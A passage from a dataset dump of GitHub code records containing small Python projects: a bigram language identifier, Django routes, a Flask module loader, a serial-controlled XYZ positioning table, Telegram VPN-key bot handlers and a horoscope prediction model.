"usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication.processEvents", "line_number": 413, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 413, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 416, "usage_type": "call"}, {"api_name": "secrets.token_hex", "line_number": 450, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 452, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication.processEvents", "line_number": 457, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 457, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 588, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 588, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 588, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 595, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 595, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 595, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 602, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 602, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 602, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 609, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 609, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 609, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 615, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 615, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 615, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 622, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 622, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 622, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 628, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 628, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 628, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 678, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 917, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 926, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getSaveFileName", "line_number": 1031, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 1031, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1031, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getSaveFileName", "line_number": 1037, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 1037, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 1037, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 1152, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 1159, "usage_type": "call"}]}
{"seq_id": "74264996744", "text": "#Cris Chou\n#Homework 4\n\nimport pickle\nfrom nltk.util import ngrams\nfrom nltk import word_tokenize\nimport math\n\n\n#get pickled dicts\nbidictEn = pickle.load(open('bidictEn.p', 'rb'))\nunidictEn = pickle.load(open('unidictEn.p', 'rb'))\nbidictFr = pickle.load(open('bidictFr.p', 'rb'))\nunidictFr = pickle.load(open('unidictFr.p', 'rb'))\nbidictIt = pickle.load(open('bidictIt.p', 'rb'))\nunidictIt = pickle.load(open('unidictIt.p', 'rb'))\n\n\n#probablility of each language\ndef compute_prob(text_in, unigram_dict, bigram_dict, V):\n    #V = vocab size\n    unigrams_test = word_tokenize(text_in)\n    bigrams_test = list(ngrams(unigrams_test,2))\n    \n    #print(bigrams_test)\n    #print(unigram_dict)\n    #p of using a variation of laplace smoothing\n    p_laplace = 1 \n\n    for bigram in bigrams_test:\n\n        \n        n = bigram_dict[bigram] if bigram in bigram_dict else 0\n        d = unigram_dict[bigram[0]] if bigram[0] in unigram_dict else 0\n\n        p_laplace *= ((n+1)/(d+V))\n    \n    #print(p_laplace)\n    #print(\"Probability with laplace smoothing is %.5f\" % p_laplace)\n    \n    return p_laplace\n\n    \nif __name__ == '__main__':\n\n    #get vocab size\n    vocab_size = len(unidictEn) + len(unidictFr) + len(unidictIt)\n    print(vocab_size)\n\n\n    check = []\n    count = 0\n    with open('data\\LangId.test') as f:\n            lines = f.readlines()\n\n            for line in lines:\n                en_prob = compute_prob(line, unidictEn, bidictEn, vocab_size)\n                fr_prob = compute_prob(line, unidictFr, bidictFr, vocab_size)\n                it_prob = compute_prob(line, unidictIt, bidictIt, vocab_size)\n\n                #find out which one is most likely\n                if en_prob > fr_prob and en_prob > it_prob:\n                    check.append(\"English\")\n                elif fr_prob > en_prob and fr_prob > it_prob:\n                    check.append(\"French\")\n                elif it_prob > en_prob and it_prob > fr_prob:\n                    check.append(\"Italian\")\n                else:\n                    check.append(\"Unknown\")\n                \n    total = len(check)\n    correct = 0\n    #check for accuracy\n    with open('data\\LangId.sol') as f:\n\n        lines = f.readlines()\n        for i in range(len(lines)):\n            #remove the numbers to compare\n            if lines[i].strip()[2:] == check[i]:\n                correct += 1\n            print(lines[i].strip()[2:], \" \", check[i])\n            if i == 50:\n                break\n    print(\"Accuracy is %.2f\" % (correct/total))\n    \n", "repo_name": "crischou/HLT_Portfolio", "sub_path": "Hw4/Output.py", "file_name": "Output.py", "file_ext": "py", "file_size_in_byte": 2500, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pickle.load", "line_number": 11, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 12, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 13, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 14, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 15, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 16, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 22, "usage_type": "call"}, {"api_name": "nltk.util.ngrams", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "38945289645", "text": "from django.urls import path\nfrom . import views\n\napp_name = 'burgerkingapp'\n\nurlpatterns = [\n\t#path('',views.home,name='home'),\n\tpath('',views.products,name='products'),  #viewing all products\n\tpath('<int:id>', views.product_detail, name='product_detail'),\n]", "repo_name": "Farnan130117/Burgerking", "sub_path": "Burgerking/burgerkingapp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 259, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "25476798410", "text": "###########################\n###### STREAMING API ######\n# Developed by: @Matt0550 #\n###########################\n\nimport flask\nimport os\nimport sys\n\napp = flask.Flask(__name__)\napp.config[\"DEBUG\"] = True\n\nHOST = 'localhost'\nPORT = 5000\n\n# Import modules\nmodules = []\nfor module in os.listdir('modules'):\n    if module.endswith('.py') and module.startswith(\"OFF_\"):\n        print(\"Module \" + module + \" is disabled\")\n        continue\n    if module.endswith('.py') and module != '__init__.py':\n        modules.append(module[:-3])\n\nfor module in modules:\n    try:\n        __import__('modules.' + module)\n        # Register the blueprint\n        app.register_blueprint(getattr(sys.modules['modules.' + module], 'app_' + module))\n\n    except Exception as e:\n        print('Error importing module: ' + module)\n        print(e)\n\n# Create a URL route in our application for \"/\"\n@app.route('/', methods=['GET'])\ndef home():\n    return \"<h1>How to use this API</h1><p>Visit my GitHub page at: <a href='https://github.com/Matt0550/Streaming-API' target='_blank'>@Matt0550</a></p>\"\n\n# List of available modules\n@app.route('/modules', methods=['GET'])\ndef modules():\n    # List of registered blueprints\n    blueprints = []\n    for blueprint in app.blueprints.keys():\n        # Remove the \"app_\" prefix\n        blueprints.append(blueprint[4:])\n    return {\"modules\": blueprints, \"status\": \"success\"}\n\n# Run the application\napp.run(host=HOST, port=PORT)", "repo_name": "Matt0550/Streaming-API", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1437, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 29, "usage_type": "attribute"}]}
{"seq_id": "39646618378", "text": "from __future__ import print_function, division\nimport serial\nfrom enum import Enum\nimport time\nimport struct\nimport numpy as np\n\ntry:     # Python 2\n    from Tkinter import *\n    bytes_fromhex = lambda h: h.decode(\"hex\")\nexcept:\n    from tkinter import *\n    bytes_fromhex = bytes.fromhex\n\n\nclass Axis(Enum):\n    z = 0\n    x = 1\n    y = 2\n\nclass Command(Enum):\n    ROR = 1     # extend\n    ROL = 2     # contract\n    MST = 3     # motor STOP\n    MVP = 4     # move to position\n                #  type is 0 for absolute (w.r.t. origin, which is reset on startup)\n                #          1 for relative (w.r.t. current position)\n                #          2 for stored coordinate\n    SAP = 5     # set axis parameter\n    GAP = 6     # get axis parameter\n\n    GCO = 31    # get coordinate\n\nclass AxisParameter(Enum):\n    target_pos  = 0\n    actual_pos  = 1\n    max_accel   = 5\n    pos_reached = 8\n\nclass Point(object):\n    def __init__(self, x, y, z):\n        self.x = int(x)\n        self.y = int(y)\n        self.z = int(z)\n\n    def as_array(self):\n        return np.array((self.x, self.y, self.z))\n\n    def __add__(self, p):\n        assert type(p) is Point\n        return Point(self.x+p.x, self.y+p.y, self.z+p.z)\n\n    def __neg__(self):\n        return Point(-self.x, -self.y, -self.z)\n\n    def __sub__(self, p):\n        assert type(p) is Point\n        return self + (-p)\n\n    def __mul__(self, p):\n        if type(p) is Point:\n            return Point(self.x*p.x, self.y*p.y, self.z*p.z)\n        else:\n            return Point(p*self.x, p*self.y, p*self.z)\n\n    __rmul__ = __mul__\n    __radd__ = __add__\n\n    def __str__(self):\n        #return \"(x={},y={},z={})\".format(self.x, self.y, self.z)\n        return \"({}, {}, {})\".format(self.x, self.y, self.z)\n\nclass Reply(object):\n    def __init__(self, reply):\n        reply = bytearray(reply)\n        self.reply_addr  = reply[0]\n        self.module_addr = reply[1]\n        self.status      = reply[2]\n        self.cmd_number  = reply[3]\n        self.value       = struct.unpack(\">i\", reply[4:8])[0]\n        self.checksum    = reply[8]\n        \n        if self.checksum != sum(reply[:-1]) % 256:\n            raise Exception(\"Invalid reply checksum!\")\n\n        self.ok = self.status == 100\n\nclass Request(object):\n    def __init__(self, cmd, type, axis, value):\n\n        self.cmdHex = hex(cmd.value)[2:].zfill(2)\n        self.typeHex = hex(type)[2:].zfill(2)\n        self.axisHex = hex(axis.value)[2:].zfill(2)\n        value = (2**32+value)&0xFFFFFFFF\n        self.valueHex = \"%08x\"%value\n\n    def as_hex(self):\n        command = '01' + self.cmdHex + self.typeHex + self.axisHex + self.valueHex\n        checksum = \"%02x\" % (sum(bytearray(bytes_fromhex(command))) % 256)\n        return command + checksum\n\n    def as_bytes(self):\n        return bytes_fromhex(self.as_hex())\n\n\nclass XYTable:\n\n    ser = serial.Serial()\n\n    # for the chip-coordinates,\n    #  y-axis points down,\n    #  x-axis points right\n    origin = None    # NW corner\n    xpoint = None    # NE corner\n    ypoint = None    # SE corner\n    # These must be set\n\n    directions = {\n        \"left\"     : (Axis.x, Command.ROR),   # -x\n        \"right\"    : (Axis.x, Command.ROL),   # +x\n        \"forward\"  : (Axis.y, Command.ROL),   # +y\n        \"backward\" : (Axis.y, Command.ROR),   # -y\n        \"up\"       : (Axis.z, Command.ROR),   # +z\n        \"down\"     : (Axis.z, Command.ROL)    # -z\n    }\n\n    def __init__(self, points_file=None):\n        if points_file:\n            self.read_from_file(points_file)\n\n    def set_origin(self):\n        self.origin = self.get_position()\n\n    def set_xpoint(self):\n        self.xpoint = self.get_position()\n\n    def set_ypoint(self):\n        self.ypoint = self.get_position()\n\n    def gen2coord(self, x, y):\n        # We do a simple affine transformation:\n        #     P = x*E1 + y*E2\n        # where E1=(xpoint-origin) and E2=(ypoint-xpoint)\n        #  are the basis vectors of the new vector space\n        assert self.origin and self.xpoint and self.ypoint\n        assert 0<=x<=1 and 0<=y<=1\n        return x*(self.xpoint-self.origin) + y*(self.ypoint-self.xpoint) + self.origin\n\n    def coord2gen(self, coord):\n        # The transformation from point p0 (in tablespace) to p1 (in 01space)\n        #  can be represented as:\n        #     A*p0 + b = p1\n        #  where the columns of A are the new basis vectors.\n        #\n        # This function does the inverse transformation:\n        #     p0 = inv(A) * (p1 - b)\n        #\n        #  (That is, we first align the origins\n        #   and then we invert the linear part)\n        assert self.origin and self.xpoint and self.ypoint\n        p1 = (coord - self.origin).as_array()\n        \n        xv = (self.xpoint - self.origin).as_array()\n        yv = (self.ypoint - self.xpoint).as_array()\n        #zv = np.cross(xv, yv); zv = zv/np.linalg.norm(zv)\n        zv = np.array([0.0, 0.0, 1.0])        # any plane normal is OK\n\n        A = np.vstack((xv, yv, zv)).T\n        Ainv = np.linalg.inv(A)\n        p0 = Ainv.dot(p1)\n        assert p0[2] < 0.01, \"Point not in plane!\"\n        return (p0[0], p0[1])\n\n\n    def connect(self):\n        self.ser.baudrate = 9600 #115200\n        self.ser.port = 'COM1'\n        self.ser.open()\n        print('Connection is open: ' + str(self.ser.is_open))\n        if self.ser.is_open:\n            return True\n        else:\n            return False\n\n    def disconnect(self):\n        self.ser.close()\n        if self.ser.is_open:\n            print('Disconnect failed!')\n            return False\n        else:\n            print('Connection closed!')\n            return True\n\n    def action(self, cmd, type, axis, value):\n\n        req = Request(cmd, type, axis, value)\n        self.ser.write(req.as_bytes())\n        reply = Reply(self.ser.read(9))\n\n        assert reply.ok, \"Action failed!\"\n        return reply.value\n\n    def move(self, direction, speed=10000, stop=False, sleeptime=1):\n        if direction not in self.directions:\n            raise Exception(\"{} is not a valid direction\".format(direction))\n        axis, cmd = self.directions[direction]\n\n        self.action(cmd, 0, axis, value=speed)\n        if stop:\n            time.sleep(sleeptime)\n            self.action(Command.MST, 0, axis, 0)\n\n    def move_to_position(self, position):\n        self.action(Command.MVP, 0, Axis.x, position.x)\n        self.action(Command.MVP, 0, Axis.y, position.y)\n        self.action(Command.MVP, 0, Axis.z, position.z)\n\n    def get_position(self):\n        \"\"\"Returns the current position, in absolute coordinates\"\"\"\n        xpos = self.action(Command.GAP, AxisParameter.actual_pos.value, Axis.x, 0)\n        ypos = self.action(Command.GAP, AxisParameter.actual_pos.value, Axis.y, 0)\n        zpos = self.action(Command.GAP, AxisParameter.actual_pos.value, Axis.z, 0)\n        return Point(xpos, ypos, zpos)\n\n    def wait(self):\n        \"\"\"Returns when target position has been reached\"\"\"\n        while True:\n            xstop = self.action(Command.GAP, AxisParameter.pos_reached.value, Axis.x, 0)\n            ystop = self.action(Command.GAP, AxisParameter.pos_reached.value, Axis.y, 0)\n            zstop = self.action(Command.GAP, AxisParameter.pos_reached.value, Axis.z, 0)\n            if xstop and ystop and zstop:\n                return\n            \n    def stop(self, direction=None):\n        if direction:\n            axis = self.directions[direction][0]\n            self.action(Command.MST, 0, axis, 0)\n        else:\n            for axis in Axis:\n                self.action(Command.MST, 0, axis, 0)\n            #print(\"Stopped.\")\n\n    def read_from_file(self, points_file):\n        p1, p2, p3 = [l.strip() for l in points_file.readlines()]\n        self.origin = Point(*(p1.split(\",\")))\n        self.xpoint = Point(*(p2.split(\",\")))\n        self.ypoint = Point(*(p3.split(\",\")))\n\n    def write_to_file(self, points_file):\n        if self.origin and self.xpoint and self.ypoint:\n            print(\"{},{},{}\".format(self.origin.x, self.origin.y, self.origin.z), file=points_file)\n            print(\"{},{},{}\".format(self.xpoint.x, self.xpoint.y, self.xpoint.z), file=points_file)\n            print(\"{},{},{}\".format(self.ypoint.x, self.ypoint.y, self.ypoint.z), file=points_file)\n\n\n\nif __name__ == \"__main__\":\n\n    try:\n        tab = XYTable()\n        tab.connect()\n\n        from gui import GUI\n        interface = GUI(tab)\n        interface.start()\n\n        print(tab.get_position())\n        \n    except KeyboardInterrupt:\n        print(\"Killed by KeyboardInterrupt\")\n    finally:\n        tab.stop()\n        tab.disconnect()\n", "repo_name": "geneticemfaults/geneticemfaults", "sub_path": "xyz_table.py", "file_name": "xyz_table.py", "file_ext": "py", "file_size_in_byte": 8551, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "enum.Enum", "line_number": 16, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 21, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 47, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 80, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 169, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 210, "usage_type": "call"}, {"api_name": "gui.GUI", "line_number": 264, "usage_type": "call"}]}
{"seq_id": "3077203382", "text": "from typing import Union\n\nfrom aiogram import types\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.types import CallbackQuery, InlineKeyboardMarkup, InlineKeyboardButton, MediaGroup, InputMedia, \\\n    InputMediaPhoto, InputMediaDocument\n\nfrom data.callback_data import vpns_cd, qr_code_cd\nfrom loader import dp, db, bot\n\n\n@dp.message_handler(commands=[\"my_key\"])\n@dp.callback_query_handler(text=\"my_keys\")\nasync def my_key(message: Union[types.Message, CallbackQuery], state: FSMContext):\n    callback = False\n    if isinstance(message, CallbackQuery):\n        callback = True\n\n    if callback:\n        user_id = message.message.chat.id\n    else:\n        user_id = message.chat.id\n\n    user = await db.get_user(user_id)\n\n    vpn_id1 = user[0][\"vpn_id\"]\n    vpn_id2 = user[0][\"vpn_id2\"]\n\n    if callback:\n        message = message.message\n\n    if not vpn_id1:\n        markup = InlineKeyboardMarkup(inline_keyboard=[\n            [InlineKeyboardButton(\"⬅️ Назад\", callback_data=\"main_menu\")],\n        ])\n        text = \"🥺 У вас пока нет ключей\" \\\n               \"\\n\\n<i>Выберите нужный вам тариф в разделе 'Тарифы'</i>\"\n        await message.answer(text, reply_markup=markup)\n\n        try:\n            await message.delete()\n        except:\n            pass\n    else:\n\n        if vpn_id2:\n            markup = InlineKeyboardMarkup(inline_keyboard=[\n                [InlineKeyboardButton(\"🔑 Ключ 1\", callback_data=vpns_cd.new(vpn_id=vpn_id1)),\n                 InlineKeyboardButton(\"🔑 Ключ 2\", callback_data=vpns_cd.new(vpn_id=vpn_id2))],\n                [InlineKeyboardButton(\"⬅️ Назад\", callback_data=\"main_menu\")],\n            ])\n        else:\n            markup = InlineKeyboardMarkup(inline_keyboard=[\n                [InlineKeyboardButton(\"🏞 QR код\", callback_data=qr_code_cd.new(vpn_id=vpn_id1))],\n                [InlineKeyboardButton(\"⬅️ Назад\", callback_data=\"main_menu\")],\n            ])\n\n        text = \"\"\"🔑 <b>Ваши ключи</b>\"\"\"\n\n        vpn = await db.get_vpn(vpn_id1)\n        file = vpn[0][\"file_id\"]\n\n        media = InputMediaDocument(file, caption=text)\n\n        if not vpn_id2:\n            try:\n                await message.edit_media(media, reply_markup=markup)\n            except:\n                await message.answer_document(file, caption=text, reply_markup=markup)\n\n                try:\n                    await message.delete()\n                except:\n                    pass\n        else:\n            try:\n                await message.edit_text(text, reply_markup=markup)\n            except:\n                await message.answer(text, reply_markup=markup)\n\n                try:\n                    await message.delete()\n                except:\n                    pass\n\n    async with state.proxy() as data:\n        if \"msg\" in data.keys():\n            msg = data[\"msg\"]\n            for m in msg:\n                try:\n                    await bot.delete_message(user_id, m)\n                except:\n                    pass\n            data.pop(\"msg\")\n\n\n@dp.callback_query_handler(vpns_cd.filter())\nasync def get_vpn(call: CallbackQuery, state: FSMContext, callback_data: dict = None):\n    if callback_data:\n        vpn_id = int(callback_data[\"vpn_id\"])\n        async with state.proxy() as data:\n            data[\"vpn_id\"] = vpn_id\n    else:\n        async with state.proxy() as data:\n            vpn_id = data[\"vpn_id\"]\n\n    vpn = await db.get_vpn(vpn_id)\n    file = vpn[0][\"file_id\"]\n\n    markup = InlineKeyboardMarkup(inline_keyboard=[\n        [InlineKeyboardButton(\"🏞 QR код\", callback_data=qr_code_cd.new(vpn_id=vpn_id))],\n        [InlineKeyboardButton(\"⬅️ Назад\", callback_data=\"my_keys\")],\n        [InlineKeyboardButton(\"🏠 Главное меню\", callback_data=\"main_menu\")],\n    ])\n\n    text = \"\"\"🔑 <b>Ваш ключ</b>\"\"\"\n\n    media = InputMediaDocument(file, caption=text)\n\n    try:\n        await call.message.edit_media(media, reply_markup=markup)\n    except:\n        await call.message.answer_document(file, caption=text, reply_markup=markup)\n        try:\n            await call.message.delete()\n        except:\n            pass\n\n\n@dp.callback_query_handler(qr_code_cd.filter())\nasync def get_qr_code(call: CallbackQuery, callback_data: dict):\n    vpn_id = int(callback_data[\"vpn_id\"])\n\n    vpn = await db.get_vpn(vpn_id)\n    qr_code = vpn[0][\"photo_id\"]\n\n    text = \"\"\"🏞 <b>Ваш QR код</b>\"\"\"\n\n    markup = InlineKeyboardMarkup(inline_keyboard=[\n        [InlineKeyboardButton(\"⬅️ Назад\", callback_data=\"my_keys\")],\n        [InlineKeyboardButton(\"🏠 Главное меню\", callback_data=\"main_menu\")],\n    ])\n\n    media = InputMediaPhoto(qr_code, caption=text)\n\n    await call.message.edit_media(media, reply_markup=markup)\n", "repo_name": "theGeekBeard/iron_vpn_bot", "sub_path": "handlers/users/commands/my_key.py", "file_name": "my_key.py", "file_ext": "py", "file_size_in_byte": 4831, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Union", "line_number": 14, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 14, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 14, "usage_type": "name"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 14, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.FSMContext", "line_number": 14, "usage_type": "name"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 16, "usage_type": "argument"}, {"api_name": "loader.db.get_user", "line_number": 24, "usage_type": "call"}, {"api_name": "loader.db", "line_number": 24, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 33, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 34, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 47, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 48, "usage_type": "call"}, {"api_name": "data.callback_data.vpns_cd.new", "line_number": 48, "usage_type": "call"}, {"api_name": "data.callback_data.vpns_cd", "line_number": 48, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 49, "usage_type": "call"}, {"api_name": "data.callback_data.vpns_cd.new", "line_number": 49, "usage_type": "call"}, {"api_name": "data.callback_data.vpns_cd", "line_number": 49, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 50, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 53, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 54, "usage_type": "call"}, {"api_name": "data.callback_data.qr_code_cd.new", "line_number": 54, "usage_type": "call"}, {"api_name": "data.callback_data.qr_code_cd", "line_number": 54, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 55, "usage_type": "call"}, {"api_name": "loader.db.get_vpn", "line_number": 60, "usage_type": "call"}, {"api_name": "loader.db", "line_number": 60, "usage_type": "name"}, {"api_name": "aiogram.types.InputMediaDocument", "line_number": 63, "usage_type": "call"}, {"api_name": "data.callback_data", "line_number": 86, "usage_type": "name"}, {"api_name": "data.callback_data.keys", "line_number": 87, "usage_type": "call"}, {"api_name": "data.callback_data", "line_number": 87, "usage_type": "name"}, {"api_name": "data.callback_data", "line_number": 88, "usage_type": "name"}, {"api_name": "loader.bot.delete_message", "line_number": 91, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 91, "usage_type": "name"}, {"api_name": "data.callback_data.pop", "line_number": 94, "usage_type": "call"}, {"api_name": "data.callback_data", "line_number": 94, "usage_type": "name"}, {"api_name": "loader.dp.message_handler", "line_number": 12, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 12, "usage_type": "name"}, {"api_name": "loader.dp.callback_query_handler", "line_number": 13, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 13, "usage_type": "name"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 98, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.FSMContext", "line_number": 98, "usage_type": "name"}, {"api_name": "data.callback_data", "line_number": 101, "usage_type": "name"}, {"api_name": "data.callback_data", "line_number": 102, "usage_type": "name"}, {"api_name": "data.callback_data", "line_number": 104, "usage_type": "name"}, {"api_name": "data.callback_data", "line_number": 105, "usage_type": "name"}, {"api_name": "loader.db.get_vpn", "line_number": 107, "usage_type": "call"}, {"api_name": "loader.db", "line_number": 107, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 110, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 111, "usage_type": "call"}, {"api_name": "data.callback_data.qr_code_cd.new", "line_number": 111, "usage_type": "call"}, {"api_name": "data.callback_data.qr_code_cd", "line_number": 111, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 112, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 113, "usage_type": "call"}, {"api_name": "aiogram.types.InputMediaDocument", "line_number": 118, "usage_type": "call"}, {"api_name": "loader.dp.callback_query_handler", "line_number": 97, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 97, "usage_type": "name"}, {"api_name": "data.callback_data.vpns_cd.filter", "line_number": 97, "usage_type": "call"}, {"api_name": "data.callback_data.vpns_cd", "line_number": 97, "usage_type": "name"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 131, "usage_type": "name"}, {"api_name": "loader.db.get_vpn", "line_number": 134, "usage_type": "call"}, {"api_name": "loader.db", "line_number": 134, "usage_type": "name"}, {"api_name": "aiogram.types.InlineKeyboardMarkup", "line_number": 139, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 140, "usage_type": "call"}, {"api_name": "aiogram.types.InlineKeyboardButton", "line_number": 141, "usage_type": "call"}, {"api_name": "aiogram.types.InputMediaPhoto", "line_number": 144, "usage_type": "call"}, {"api_name": "loader.dp.callback_query_handler", "line_number": 130, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 130, "usage_type": "name"}, {"api_name": "data.callback_data.qr_code_cd.filter", "line_number": 130, "usage_type": "call"}, {"api_name": "data.callback_data.qr_code_cd", "line_number": 130, "usage_type": "name"}]}
{"seq_id": "72391529226", "text": "from models.sql import *\nimport json\nimport random\n\n\nclass Prediction:\n    table_name = 'predictions'\n    query = \\\n        '''\n            id INTEGER PRIMARY KEY,\n            prediction varchar(350) NOT NULL\n        '''\n    create_table(table_name, query, remove_previous=False)\n\n    @classmethod\n    def get_random_prediction(cls):\n        count = select_one(cls.table_name, columns=['COUNT(*)'])[0]\n        random_num = random.randint(1, count)\n        return select_one(table_name=cls.table_name, columns=['prediction'], condition=f'id = {random_num}')\n\n    @classmethod\n    def add_prediction(cls, prediction: str) -> None:\n        insert_into(table_name=cls.table_name, columns=['prediction'], values=[prediction])\n\n    @classmethod\n    def add_all_predictions_from_json(cls) -> None:\n        with open(f'{cls.table_name}.json', 'r', encoding='utf-8') as file:\n            parsed_predictions = json.load(file)\n            for prediction in parsed_predictions:\n                cls.add_prediction(prediction=prediction['prediction'])\n", "repo_name": "tipask245/horoscope", "sub_path": "models/predictions.py", "file_name": "predictions.py", "file_ext": "py", "file_size_in_byte": 1038, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "random.randint", "line_number": 18, "usage_type": "call"}, {"api_name": "json.load", "line_number": 28, "usage_type": "call"}]}
